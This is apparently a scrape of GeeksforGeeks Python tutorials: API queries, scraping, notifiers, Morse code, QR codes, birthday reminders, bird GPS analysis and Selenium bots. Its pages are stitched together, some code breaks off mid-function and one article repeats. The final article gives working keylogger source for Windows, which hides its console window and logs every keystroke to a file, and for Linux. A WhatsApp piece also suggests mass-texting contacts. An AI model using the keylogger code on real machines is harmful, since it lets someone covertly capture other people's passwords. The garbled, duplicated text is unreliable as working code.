This article is contributed by Nitin Deokate .If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Querying Live running status and PNR of trains using Railway API in Python
Railway API is organized around GET Requests. One can use this JSON based API to get information from Indian Railways regarding Live Train Status, PNR Status, Train Schedule, Station Details, and other things.
To use this API, one must need the API key, which can get from here
Note: User need to create an account on railwayapi.com to use the APIs.
# Now result contains a list of nested dictionaries
# Check the value of "response_code" key is equal
# to "200" or not if equal that means record is
# found otherwise record is not found
ifresult["response_code"] ==200:
# train name is extracting from
# the result variable data
train_name =result["train"]["name"]
# store the value or data of
# "route" key in variable y
temp =result["route"]
# source station name is extracting
# from the y variable data
source_station =temp[0]["station"]["name"]
# destination station name is
# extracting from the y variable data
destination_station =temp[-1]["station"]["name"]
# store the value of "position"
# key in variable position
position =result["position"]
# print details
print(" train name : "+str(train_name)
+"\n source station : "+str(source_station)
+"\n destination station : "+str(destination_station)
+"\n current status : "+str(position) )
else:
print("Record not Found")
Output:
train name : NEWDELHI JAN SHATABDI EXP
source station : DEHRADUN
destination station : NEW DELHI
current status : Train has reached Destination and late by 15 minutes.
+"\n total no. of passengers: "+str(total_passengers)
+"\n chart prepared : "+str(chart_prepared))
# looping through passenger list
forpassenger inpassengers_list:
# store the value or data
# of "no" key in variable
passenger_num =passenger["no"]
# store the value or data of
# "current_status" key in variable
current_status =passenger["current_status"]
# store the value or data of
# "booking_status" key in variable
booking_status =passenger["booking_status"]
# print following values
print(" passenger number : "+str(passenger_num)
+"\n current status : "+str(current_status)
+"\n booking_status : "+str(booking_status))
else:
print("Record Not Found")
Output :
train name : DOON EXPRESS
train number : 13009
from station : LUCKNOW
to station : DEHRADUN
boarding point : LUCKNOW
reservation upto : DEHRADUN
pnr number : 6515483790
date of journey : 01-07-2018
total no. of passengers: 1
chart prepared : False
passenger number : 1
current status : RLWL/-/16/GN
booking_status : RLWL/-/23/GN
News API is a simple JSON-based REST API for searching and retrieving news articles from all over the web. Using this, one can fetch the top stories running on a news website or can search top news on a specific topic (or keyword).
News can be retrieved based on some criteria. Say the topic (keyword) to be searched is ‘Geeksforgeeks’ or might be concerned to a specific channel. All can be done, but the API key is needed to get started.
Steps :
1. Visit https://newsapi.org/ to get your own API key.
2. Install requests package.
1 Italy to lift coronavirus travel restrictions
2 White House 'Operation Warp Speed' to look for Covid jab
3 Two Americas in the nation's capital
4 Kobe Bryant helicopter crash post-mortem released
5 Little things people are doing while socially distanced
6 The last 'normal' photo on your phone
7 'They came to kill the mothers'
8 EU-UK Brexit trade talks in trouble
9 Trial starts to see if dogs can 'sniff out' virus
10 Beatles photographer Astrid Kirchherr dies aged 81
Note: Output may change based on the top articles at the time.
Approach 2:
This approach will work as a cherry on a cake because it will display the news according to the category entered by the user so as work as a filter for those who want to know the news in a particular category/section.
First of all install newsapi and pycountry in your system if it’s not there the install using the command below:
f"Sorry no articles found for {input_country}, Something Wrong!!!")
option =input("Do you want to search again[Yes/No]?")
ifoption.lower() =='yes':
continue
else:
exit()
Input:
Country: India
Which category are you interested in?
1.Business
2.Entertainment
3.General
4.Health
5.Science
6.Technology
Enter here: Technology
Output:
Gizbot News: Garena Free Fire Redeem Codes For August 16; Get Master of Minds Weapon Loot Crate.
News18: Google Pixel 5a Will Have Biggest Battery On Any Pixel Phone Ever, Launch This Month.
Hindustan Times News: PUBG Mobile: Here’s how to get the Unhinged Mortician set on PUBG Mobile, check details of RPM2 Royale Pass.
Times of India News: New iPhones, Watch, AirPods and more: What Apple may launch in September.
GSMArena.com News: Top 10 trending phones of week 32 - GSMArena.com news.
Hindustan Times News: Study finds if 'people persons' are 'machine persons' when they interact online.
Times of India News: 2021 vs 2020: August gasps for one ‘good’ air day in Gurugram this year.
ScienceAlert News: A Simple Crystal Could Finally Give Us Large-Scale Quantum Computing, Scientists Say.
Engadget News: The Switch is the first console to sweep Japan's game sales chart in 33 years.
GSMArena.com News: Weekly poll: Samsung Galaxy Z Fold3, the new S Pen and the Galaxy Z Flip3 - GSMArena.com news.
Market Research Telecast News: How to import your WhatsApp chats to WhatsApp Plus 17.00 Heymods.
Notebookcheck.net News: Realme will finally debut its first-gen laptop later in August 2021.
NewsBytes: Redmi 10 officially teased; color options revealed.
The Siasat Daily News: Xiaomi removes anti-lost mode from Mi Mix 4.
Zee News: Good news for Motorola Razr owners! Smartphone is finally getting Android 11 update.
EssentiallySports News: Animal Crossing: New Horizons- Predictions for the Next Big Update.
Republic World News: Motorola Edge 20 price in India Leaked: Price to range between Rs 21,499 to Rs 29,999.
Eurogamer.net News: Assassinations have been temporarily removed from Halo Infinite because "people just turn them off".
EssentiallySports News: Call of Duty: Warzone- If You Can Win a Game Despite the Hackers, You Can See a Vanguard Teaser.
Techradar News: Facebook Messenger voice and video calls are getting end-to-end encryption.
Do you want to search again[Yes/No]? No
My Personal Notesarrow_drop_up
Fetching text from Wikipedia’s Infobox in Python
Improve Article
Save Article
Like Article
Last Updated :10 Aug, 2021
An infobox is a template used to collect and present a subset of information about its subject. It can be described as a structured document containing a set of attribute-value pairs, and in Wikipedia, it represents a summary of information about the subject of an article. So a Wikipedia infobox is a fixed-format table usually added to the top right-hand corner of articles to represent a summary article of that wiki page and sometimes to improve navigation to other interrelated articles. [To know more about infobox, Click here] Web Scraping is a mechanism that helps to extract large amounts of data from websites whereby the data is extracted and saved to a local file in your computer or to a database in table (spreadsheet) format. There are several ways to extract information from the web. Using APIs is one of the best ways to extract data from a website. Almost all large websites like Youtube Facebook, Google, Twitter, StackOverflow provide APIs to access their data in a more structured manner. If you can get what you need through an API, it is almost always preferred the red approach over web scraping. Sometimes, there is a need for scraping the content of a Wikipedia page, while we are developing any project or using it somewhere else. In this article, I’ll tell how to extract contents of the Wikipedia’s Infobox. Basically, We can use two Python modules for scraping data: Urllib2: It is a Python module that can be used for fetching URLs. urllib2 is a Python module for fetching URLs. It offers a very simple interface, in the form of the urlopen function. This is capable of fetching URLs using a variety of different protocols. For more detail refer to the documentation page. BeautifulSoup: It is an incredible tool for pulling out information from a webpage. You can use it to extract tables, lists, paragraphs and you can also put filters to extract information from web pages. Look at the documentation page of BeautifulSoup BeautifulSoup does not fetch the web page for us. We can use urllib2 with the BeautifulSoup library. Now I am going to tell you another easy way for scraping Steps for the following: The modules we will be using are:
I have used Python 2.7 here, Make sure these modules are installed on your machine. If not then on the console or prompt you can install it using pip
See this link, it will display the ‘Motto section’ of this Wikipedia page info box.(as shown in this screenshot)
Write your code first of all
Now finally after running the program you get,
You can also modify the URL.XPath to get different sections of the infobox. If you want to learn more about web scraping, go to these links, 1) Web Scraping 1 2) Web Scraping 2
My Personal Notesarrow_drop_up
Get emotions of images using Microsoft emotion API in Python
The emotions of images like happy, sad, neutral, surprise, etc. can be extracted using Microsoft emotion API for any development purpose.
It is very simple to use and can be called via API through terminal or any of languages like Python or PHP. Microsoft provides free subscription of 30 days for making total of 30,000 requests. The details of the end points and parameters can be found in the documentation.
This is real world program which blocks certain distracting website like Facebook, Youtube etc during your work hours.
About the program : What we are going to in this program is that we will pass the link of websites which you think is distracting and the time that you are working on your computer and program will block those website.
Program Architecture:
Every system have host file whether it is Mac, Windows or Linux. Host file in Mac and Linux :
/etc/hosts
Host file in Windows:
C:\Windows\System32\drivers\etc
Working of host file: Host is an operating system file which maps hostnames to IP addresses. In this program we will be mapping hostnames of websites to our localhost address. Using python file handling manipulation we will write the hostname in hosts.txt and remove the lines after your working hours.
Special note for Windows users : Windows user need to create a duplicate of OS’s host file. Now provide the path of the duplicate file in hosts_path mentioned in the script.
Scheduling above script in Mac : For scheduling above script in Mac you have to open crontab in your terminal as a root.
Write following command in terminal:
sudo crontab -e
Your terminal should look like this:
Now press “i” to go into insert/editing mode and write @reboot python_script_path .
Save the tab by pressing first esc to quit write mode and fall back to command mode and now write “:wq” and finally press enter to validate.
Restart your system and see the magic.
Scheduling in Windows: Scheduling of above script is little bit trick but I will guide you step by step-
First of all change the extension of your script from “.py” to “.pyw”.
Now open task scheduler. Task scheduler should look like this:
You may see website blocker already scheduled because I have already scheduled in my computer for my testing purpose. Follow further instruction of scheduling carefully in order to schedule website blocker in your computer.
Click on “create task”. Fill the name of your choice and flag “Run with highest privilege”.
Now go to triggers, select “At startup” for begin the task.
Go to Action bar and create a new action and give path of your script.
Go to conditions bar and unflag the power section.
Press ok and you can see the script scheduled.
Finally restart your computer and see the magic. Note: You can also check instantly by clicking run button.
If you are running any python script and want to send regular updates from your script to your mobile phone through SMS, you can use SinchSMS API to send SMS. Approach : Create an app on Sinch and get the key and secret of the app and use these credentials in the following script to send SMS to your mobile. Limitation of Sinch : If you don’t have any credits(you have to pay for credits), you can only send SMS to the registered mobile numbers on Sinch. You can use way2sms to send SMS to any number(I will be discussing how to use way2sms in another article), but without purchased credits, on way2sms also, you can’t send more than 100 SMS per day.
Python
# python script for sending message update
importtime
fromtime importsleep
fromsinchsms importSinchSMS
# function for sending SMS
defsendSMS():
# enter all the details
# get app_key and app_secret by registering
# a app on sinchSMS
number ='your_mobile_number'
app_key ='your_app_key'
app_secret ='your_app_secret'
# enter the message to be sent
message ='Hello Message!!!'
client =SinchSMS(app_key, app_secret)
print("Sending '%s' to %s"%(message, number))
response =client.send_message(number, message)
message_id =response['messageId']
response =client.check_status(message_id)
# keep trying unless the status returned is Successful
whileresponse['status'] !='Successful':
print(response['status'])
time.sleep(1)
response =client.check_status(message_id)
print(response['status'])
if__name__ =="__main__":
sendSMS()
For the execution of the script, edit the number, app_key, and app_secret fields, and then simply run the script. I have written a complete script for sending SMS updates to mobile phones using sinchSMS and way2sms by fetching the latest updates from our placement website(aitplacements.com). GitHub link: stayUpdated Exercise: Create a python script that updates you on your mobile phone if the price of a particular product lowers down to a certain price on amazon.com
To get started with the Desktop News Notifier, we require two libraries: feedparser and notify2. Give following command to to install feedparser:
sudo pip3 install feedparser
For installing notify2 in your terminal:
sudo pip3 install notify2
Feedparser will parse the feed that we will get from the URL. We will use notify2 for the desktop notification purpose. Other than these two libraries, we will use OS and time lib. Once you are done with the installation import both libraries in the program. Here, in this example I have parsed the news from the BBC UK, you can use any news feedparser URL. Let’s have a look at the program:
f = feedparser.parse("http://feeds.bbci.co.uk/news/rss.xml")
Here feedparser will parse the news data from the feed URL. The parsed data will be in the form of dictionary.
ICON_PATH = os.getcwd() + "/icon.ico"
If you want to set any icon in the notification then here we are setting the Icon path. This is optional.
notify2.init('News Notify')
Here we are initializing the notify2 using the init method of notify2. Initialize the D-Bus connection. Must be called before you send any notifications, or retrieve server info or capabilities.
for newsitem in f['items']:
n = notify2.Notification(newsitem['title'],
newsitem['summary'],
icon=ICON_PATH
)
Looping from the parsed data to get the relevant information like news title, short summary and setting the notification icon using the Notification method of the notify2 lib.
n.set_urgency(notify2.URGENCY_NORMAL)
Set the urgency level to one of URGENCY_LOW, URGENCY_NORMAL or URGENCY_CRITICAL
n.show()
This method will show the notification on the Desktop
n.set_timeout(15000)
Setting the time to keep the notification on the desktop (in milliseconds). I have set here as 15 seconds.
time.sleep(1200)
This will usually display the news notification every 20 mins. You can set the time as per your requirement. You can find the full source code that is hosted on GitHub
This article is contributed by Srce Cde. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Morse code is a method of transmitting text information as a series of on-off tones, lights, or clicks that can be directly understood by a skilled listener or observer without special equipment. It is named for Samuel F. B. Morse, an inventor of the telegraph.
Algorithm
The algorithm is very simple. Every character in the English language is substituted by a series of ‘dots’ and ‘dashes’ or sometimes just singular ‘dot’ or ‘dash’ and vice versa. Please refer to this Wikipedia image for details.
Encryption
In the case of encryption, we extract each character (if not space) from a word one at a time and match it with its corresponding morse code stored in whichever data structure we have chosen(if you are coding in python, dictionaries can turn out to be very useful in this case)
Store the morse code in a variable that will contain our encoded string and then we add a space to our string that will contain the result.
While encoding in morse code we need to add 1 space between every character and 2 consecutive spaces between every word.
If the character is a space then add another space to the variable containing the result. We repeat this process till we traverse the whole string
Decryption
In the case of decryption, we start by adding a space at the end of the string to be decoded (this will be explained later).
Now we keep extracting characters from the string till we are not getting any space.
As soon as we get a space we look up the corresponding English language character to the extracted sequence of characters (or our morse code) and add it to a variable that will store the result.
Remember keeping track of the space is the most important part of this decryption process. As soon as we get 2 consecutive spaces we will add another space to our variable containing the decoded string.
The last space at the end of the string will help us identify the last sequence of morse code characters (since space acts as a check for extracting characters and start decoding them).
Implementation:
Python provides a data structure called a dictionary which stores information in the form of key-value pairs which is very convenient for implementing a cipher such as a morse code. We can save the morse code chart in a dictionary where (key-value pairs) => (English Characters-Morse Code). The plaintext (English characters) takes the place of keys and the ciphertext (Morse code) forms the values of the corresponding keys. The values of keys can be accessed from the dictionary in the same way we access the values of an array through their index and vice versa.
Python3
# Python program to implement Morse Code Translator
'''
VARIABLE KEY
'cipher' -> 'stores the morse translated form of the english string'
'decipher' -> 'stores the english translated form of the morse string'
'citext' -> 'stores morse code of a single character'
'i' -> 'keeps count of the spaces between morse characters'
'message' -> 'stores the string to be encoded or decoded'
'''
# Dictionary representing the morse code chart
MORSE_CODE_DICT ={ 'A':'.-', 'B':'-...',
'C':'-.-.', 'D':'-..', 'E':'.',
'F':'..-.', 'G':'--.', 'H':'....',
'I':'..', 'J':'.---', 'K':'-.-',
'L':'.-..', 'M':'--', 'N':'-.',
'O':'---', 'P':'.--.', 'Q':'--.-',
'R':'.-.', 'S':'...', 'T':'-',
'U':'..-', 'V':'...-', 'W':'.--',
'X':'-..-', 'Y':'-.--', 'Z':'--..',
'1':'.----', '2':'..---', '3':'...--',
'4':'....-', '5':'.....', '6':'-....',
'7':'--...', '8':'---..', '9':'----.',
'0':'-----', ', ':'--..--', '.':'.-.-.-',
'?':'..--..', '/':'-..-.', '-':'-....-',
'(':'-.--.', ')':'-.--.-'}
# Function to encrypt the string
# according to the morse code chart
defencrypt(message):
cipher =''
forletter inmessage:
ifletter !=' ':
# Looks up the dictionary and adds the
# corresponding morse code
# along with a space to separate
# morse codes for different characters
cipher +=MORSE_CODE_DICT[letter] +' '
else:
# 1 space indicates different characters
# and 2 indicates different words
cipher +=' '
returncipher
# Function to decrypt the string
# from morse to english
defdecrypt(message):
# extra space added at the end to access the
# last morse code
message +=' '
decipher =''
citext =''
forletter inmessage:
# checks for space
if(letter !=' '):
# counter to keep track of space
i =0
# storing morse code of a single character
citext +=letter
# in case of space
else:
# if i = 1 that indicates a new character
i +=1
# if i = 2 that indicates a new word
ifi ==2:
# adding space to separate words
decipher +=' '
else:
# accessing the keys using their values (reverse of encryption)
This article is contributed by Palash Nigam . If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Let’s say you are working on a project that needs to do web scraping but you don’t know websites on which scraping is to be performed beforehand instead you are required to perform a google search and then proceed according to google search results to a few websites. In that case, you need google search results for your different queries.
Instead of putting so much effort into a trivial task google package has been made. It’s almost a one-liner solution to find links to all the google search results directly.
Using python package google we can get results of google search from the python script. We can get links to first n search results.
Installation google package has one dependency on beautifulsoup which needs to be installed first.
pip install beautifulsoup4
Then install the google package
pip install google
Required Function and its parameters
query: query string that we want to search for.
TLD: TLD stands for the top-level domain which means we want to search our results on google.com or google. in or some other domain.
lang: lang stands for language.
num: Number of results we want.
start: The first result to retrieve.
stop: The last result to retrieve. Use None to keep searching forever.
pause: Lapse to wait between HTTP requests. Lapse too short may cause Google to block your IP. Keeping significant lapses will make your program slow but it’s a safe and better option.
Return: Generator (iterator) that yields found URLs. If the stop parameter is None the iterator will loop forever.
Python codes on how to do a google search using python script
This article is contributed by Pratik Chhajer. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Reading and Generating QR codes in Python using QRtools
This article aims to introduce the use of the python library: qrtools. This library can be used to both read QR codes and generate them.
What are QR codes?
QR code, or quick response code, is a trademark for a type of 2 dimensional barcode. 2 dimensional barcodes are similar to one dimensional barcodes, but can store more information per unit area.
Installation and Dependencies
Debian Linux: qrtools can be installed on debian based linux systems with the following commands
Windows: qrtools can be installed on windows by downloading the file from here. On downloading and extraction, run the following command from inside the folder
python setup.py install
Generate a QR Code
qrtools contains a class QR (can be viewed in the source code), for which we must initially create an object. The object takes the following arguments
data
pixel_size
level
margin_size
data_type
To create a QR code with default settings, we must simply specify the data while creating the object. Note that the data must be a unicode object if non-ASCII objects are going to be used.
# Python program to generate QR code
fromqrtools
importQR
# creates the QR object
my_QR =QR(data =u"Example")
# encodes to a QR code
my_QR.encode()
If the program runs successfully, it returns a value of 0, and the QR code is stored in the tmp folder. To know the exact location, use the following command
The pixel value of the QR code may also be changed by specifying the value during the creation of the QR object. The default size tends to be a little small for reading using scanners on smartphones, so a size of around 10 would be ideal for such purposes, for example:
my_QR = QR(data = u"example", pixel_size = 10)
The below QR code has pixel size = 10, and has been encoded with a URL
We can also add email data, sms data, mms data, bookmarks, etc to the QR code. The following code excerpt is taken from the source code, which specifies the various data types that can be used along with the format of the data that would be required for its usage:
# use these for custom data formats eg. url, phone number, VCARD
# data should be an unicode object or a list of unicode objects
From the above code, we observe the various data types that can be assigned and used while creating QR codes. For example, to use a bookmark as data we must provide data as a list, consisting of a title and the url. To accomplish this, we must do the following
Scanning and reading a QR code is relatively simple. While creating the QR object, we must simply specify the path to the QR code as an argument. Suppose we are trying to decode the QR code created at the beginning of the article.
# Python program to Scan and Read a QR code
fromqrtools importQR
my_QR =QR(filename ="home/user/Desktop/qr.png")
# decodes the QR code and returns True if successful
my_QR.decode()
# prints the data
print(my_QR.data)
Output :
Example
We may also print the values of the other parameters passed while creating the QR object to generate the QR code, for example, using the same QR code generated at the beginning of the article, additionally adding these print statements would give the following additional output
This article is contributed by Deepak Srivatsav. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
This app helps in reminding birthdays and notifying your friend’s birthdays. This app uses Python and Ubuntu notifications to notify users on every startup of the system.
# Python program For
# Birthday Reminder Application
# time module is must as reminder
# is set with the help of dates
importtime
# os module is used to notify user
# using default "Ubuntu" notification bar
importos
# Birthday file is the one in which the actual birthdays
# and dates are present. This file can be
# manually edited or can be automated.
# For simplicity, we will edit it manually.
# Birthdays should be written in this file in
# the format: "MonthDay Name Surname" (Without Quotes)
birthdayFile ='/path/to/birthday/file'
defcheckTodaysBirthdays():
fileName =open(birthdayFile, 'r')
today =time.strftime('%m%d')
flag =0
forline infileName:
iftoday inline:
line =line.split(' ')
flag =1
# line[1] contains Name and line[2] contains Surname
After writing the above code now it is the time to add this Python script to startup. This can be done in Ubuntu as follows:
Firstly, we have to create an executable file for our reminder.py script
This can be done by typing the following command in the terminal
sudo chmod +x reminder.py, where reminder.py is our script file name
Now we have to transfer this file to the path where Linux searches for its default files: Type this command in terminal:
sudo cp /path/to/our/reminder.py /usr/bin
. This will add our executable script to /usr/bin.
In global search, search for Startup Applications
Click on Add and Give a desired Name for your process
Type in the command. For example, our file name is reminder.py then type reminder.py in the command field and Select Add
NOTE: The script runs automatically(once added to startup) everytime you start your system. Also, If you have more than two birthdays on the same day, both the birthdays will be notified in the notification.
How the birthday file should look like
Output after running the script
This article is contributed by Omkar Pathak. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Program to display Astrological sign or Zodiac sign for given date of birth
Improve Article
Save Article
Like Article
Last Updated :17 May, 2021
For given date of birth, this program displays an astrological sign or Zodiac sign. Examples :
Input : Day = 10, Month = December
Output : Sagittarius
Explanation :
People born on this date have a zodiac Sagittarius.
Input : Day = 7, Month = September
Output : Virgo
Approach : Although the exact dates can shift plus or minus a day, depending on the year, here are the general zodiac sign dates used by Western (or Tropical) astrology :
We need to check our mentioned date and month and thus find its equivalent zodiac, i.e which zodiac fits in that particular date as well as month and print its corresponding zodiac sign. Below is the implementation of above approach :
One fascinating area of research uses GPS to track the movements of animals. It is now possible to manufacture a small GPS device that is solar charged, so you don’t need to change batteries and use it to track flight patterns of birds. The data for this case study comes from the LifeWatch INBO project. Several data sets have been released as part of this project. We will use a small data set that consists of migration data for three gulls named Eric, Nico, and Sanne. The official_datasets; used dataset – CSV”>csv file contains eight columns and includes variables like latitude, longitude, altitude, and time stamps. In this case study, we will first load the data, visualize some simple flight trajectories, track flight speed, learn about daytime, and much, much more.
Aim: Track the movement of three gulls namely – Eric, Nico & Sanne Dataset:official_datasets; used dataset – csv Dependencies: Matplotlib, Pandas, Numpy, Cartopy, Shapely Repository(Github): source code (check the repository for the documentation of source code.) Writeup:explanation(.pdf)
We will divide our case study into five parts: 1. Visualizing longitude and latitude data of the gulls. 2. Visualize the variation of the speed of the gulls. 3. Visualize the time required by the gulls to cover equal distances over the journey. 4. Visualize the daily mean speed of the gulls. 5. Cartographic view of the journey of the gulls.
PART (1/5): Latitude and Longitude In this part, we are going to visualize the location of the birds. We are going to plot latitude and longitude along the y and x-axis respectively and visualize the location data present in the csv file.
We use the matplotlib function, figure() to initialize size of the figure as 7 x 7 and plot it using the plot() function.The parameters inside the function plot() i.e x, y and “b.” are specifying to use longitude data along x axis(for x), latitude along y(for y) and b=blue, . = circles in the visualization.
Output : You must have all the dependencies.Install them using "pip install dependency_name"
PART (2/5): 2D Speed Vs Frequency In this second part of the case study, we are going to visualize 2D speed vs Frequency for the gull named “Eric”.
ind = np.isnan(speed)
plt.hist(speed[~ind], bins = np.linspace(0,30,20), normed=True)
plt.xlabel(" 2D speed (m/s) ")
plt.ylabel(" Frequency ")
plt.show()
The parameters speed[~ind] indicates that we will include only those entries for which ind != True, bins=np.linspace(0,30,20) indicates the bins along the x-axis will vary from 0 to 30 with 20 bins within them, linearly spaced. Lastly, we plot 2D speed in m/s along the x-axis and Frequency along the y-axis using the xlabel() and ylabel() functions respectively and plot the data using plt.show().
Output :
PART (3/5): Time and Date The third part is associated with date and time. We are going to visualize the time(in days) required by Eric to cover constant distances through his journey. If he covers equal distances in an equal amount of time, then the Elapsed time vs Observation curve will be linear.
for k in range(len(birddata)):
timestamps.append(datetime.datetime.strptime(birddata.date_time.iloc[k][:-3], "%Y-%m-%d %H:%M:%S"))
“>>>datetime.datetime.today()”, returns the current Date (yy-mm-dd) & time (h:m:s). “>>>date_str[:-3]”, slices/removes the UTC +00 coordinated time stamps. “>>>datetime.datetime.strptime(date_str[:-3], “%Y-%m-%d %H:%M:%S”)” ,the time-stamp strings from date_str are converted to datetime object to be worked upon. “%Y-%m-%d %H:%M:%S” is the Year-Month-Date and Hour-Minute-Second format.
Output:
PART (4/5): Daily Mean Speed We are going to visualize the daily mean speed of the gull named “Eric” for the total number of days of recorded flight.
enumerate() - is one of the built-in Python functions. It returns an enumerated object. In our case, that object is a list of tuples (immutable lists), each containing a pair of count/index and value.
Output:
PART (5/5): Cartographic View In this last part, we are going to track the Birds over a map.
This article is contributed by Amartya Ranjan Saikia. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
To get started with the Desktop News Notifier, we require two libraries: feedparser and notify2. Give following command to to install feedparser:
sudo pip3 install feedparser
For installing notify2 in your terminal:
sudo pip3 install notify2
Feedparser will parse the feed that we will get from the URL. We will use notify2 for the desktop notification purpose. Other than these two libraries, we will use OS and time lib. Once you are done with the installation import both libraries in the program. Here, in this example I have parsed the news from the BBC UK, you can use any news feedparser URL. Let’s have a look at the program:
f = feedparser.parse("http://feeds.bbci.co.uk/news/rss.xml")
Here feedparser will parse the news data from the feed URL. The parsed data will be in the form of dictionary.
ICON_PATH = os.getcwd() + "/icon.ico"
If you want to set any icon in the notification then here we are setting the Icon path. This is optional.
notify2.init('News Notify')
Here we are initializing the notify2 using the init method of notify2. Initialize the D-Bus connection. Must be called before you send any notifications, or retrieve server info or capabilities.
for newsitem in f['items']:
n = notify2.Notification(newsitem['title'],
newsitem['summary'],
icon=ICON_PATH
)
Looping from the parsed data to get the relevant information like news title, short summary and setting the notification icon using the Notification method of the notify2 lib.
n.set_urgency(notify2.URGENCY_NORMAL)
Set the urgency level to one of URGENCY_LOW, URGENCY_NORMAL or URGENCY_CRITICAL
n.show()
This method will show the notification on the Desktop
n.set_timeout(15000)
Setting the time to keep the notification on the desktop (in milliseconds). I have set here as 15 seconds.
time.sleep(1200)
This will usually display the news notification every 20 mins. You can set the time as per your requirement. You can find the full source code that is hosted on GitHub
This article is contributed by Srce Cde. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Have you ever wished to automatically wish your friends on their birthdays, or send a set of messages to your friend ( or any Whatsapp contact! ) automatically at a pre-set time, or send your friends by sending thousands of random texts on WhatsApp! Using Browser Automation you can do all of it and much more!
First, you must install these:
1) Python Bindings for Selenium ( Browser Automation software )
pip install selenium
2) Chrome web driver
Download Chrome driver from here: Chromedriver download page( choose your specific version ) Extract it in a known location, as we need the location later
If you get stuck somewhere, Refer To the documentation: Documentation link
3) Chromium Web Browser( Open-source version of chrome browser )
Keep your mobile phone with you. Choose WhatsApp web from the top bar in WhatsApp(3 dots)
Then Run the script ( make sure that you have added the absolute path for the chrome driver and have replaced the target variable with your friend’s name ). Scan the QR code that appears on the screen and enjoy the power of python!
Please use this script only for educational purposes, i am not responsible if your friends ( or even Whatsapp ) block you.
Feel free to modify the code. Try to :
Text Multiple Groups at once
Send the messages from a predefined list of messages randomly or
Send a completely random text.
Comment below about your experience!
When it comes to browser automation, this is just the tip of the iceberg. Will write more articles on browser automation to give you a glimpse of its power!
This article is contributed by Saket Modi. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Python | Automating Happy Birthday post on Facebook using Selenium
As we know Selenium is a tool used for controlling web browsers through a program. It can be used in all browsers, OS, and its program are written in various programming languages i.e Java, Python (all versions).
Selenium helps us automate any kind of task that we frequently do on our laptops, PCs ranging from using Facebook messenger for texting and WhatsApp also, daily tweeting tweets on Twitter, wishing friends “Happy birthday” on Facebook, googling anything we want to learn, and many more task. All these tasks can be automated using selenium in just a small implementation.
Let’s learn how to automate the process of wishing a birthday wish on a Facebook friend’s timeline as a post.
The whole process of this automation can be divided as follows :
Log into the Facebook application using credentials like Username and Password.
Posting a “Happy Birthday” feed on the timeline of those friends whose birthday is today.
Below are the steps:
Create a browser object and use the get() function to send a request to the website we want to connect/use.
Find the elements like username and password input boxes, login button, and using the selenium functions like click(), send_keys(), etc to click on buttons and enter username and password respectively.
After that using get() function to send a request to /events/birthdays/ page.
At the top of this page, there is a card of “Today’s Birthdays” which shows a friend’s name whose birthday is today along with an input text box to enter any feed on their timeline.
Using the XPATH of these input text boxes we will send our feed i.e., “Happy Birthday” using the send_keys() function of selenium.
Close the browser.
NOTE: Make a separate test.txt file and put your Facebook password in it before the execution of the below program.
Keystroke logging is the process of recording (logging) the keys pressed on a keyboard (usually when the user is unaware). It is also known as keylogging or keyboard capturing. These programs are used for troubleshooting technical problems with computers and business networks. It can also be used to monitor network usages but more often than not it is used for malicious intents like stealing passwords. This article illustrates designing a keylogger for windows and Linux.
Keylogger for Windows
Download some python libraries 1) pywin32 2) pyhook‘ Following is the code to create a keylogger in python
Python3
# Python code for keylogger
# to be used in windows
importwin32api
importwin32console
importwin32gui
importpythoncom, pyHook
win =win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
defOnKeyboardEvent(event):
ifevent.Ascii==5:
_exit(1)
ifevent.Ascii !=0or8:
#open output.txt to read current keystrokes
f =open('c:\output.txt', 'r+')
buffer=f.read()
f.close()
# open output.txt to write current + new keystrokes
f =open('c:\output.txt', 'w')
keylogs =chr(event.Ascii)
ifevent.Ascii ==13:
keylogs ='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm =pyHook.HookManager()
hm.KeyDown =OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Save the file in C:\ as Keylogger.py and run the python file Output: The keylogger will be started in the background and save all the data on the log file “c:\output.txt”.
Keylogger in Linux pyxhook requires python-Xlib. Install it if you don’t have it already.
#creating key pressing event and saving it into log file
defOnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
new_hook =pyxhook.HookManager()
new_hook.KeyDown =OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
exceptKeyboardInterrupt:
# User cancelled from command line.
pass
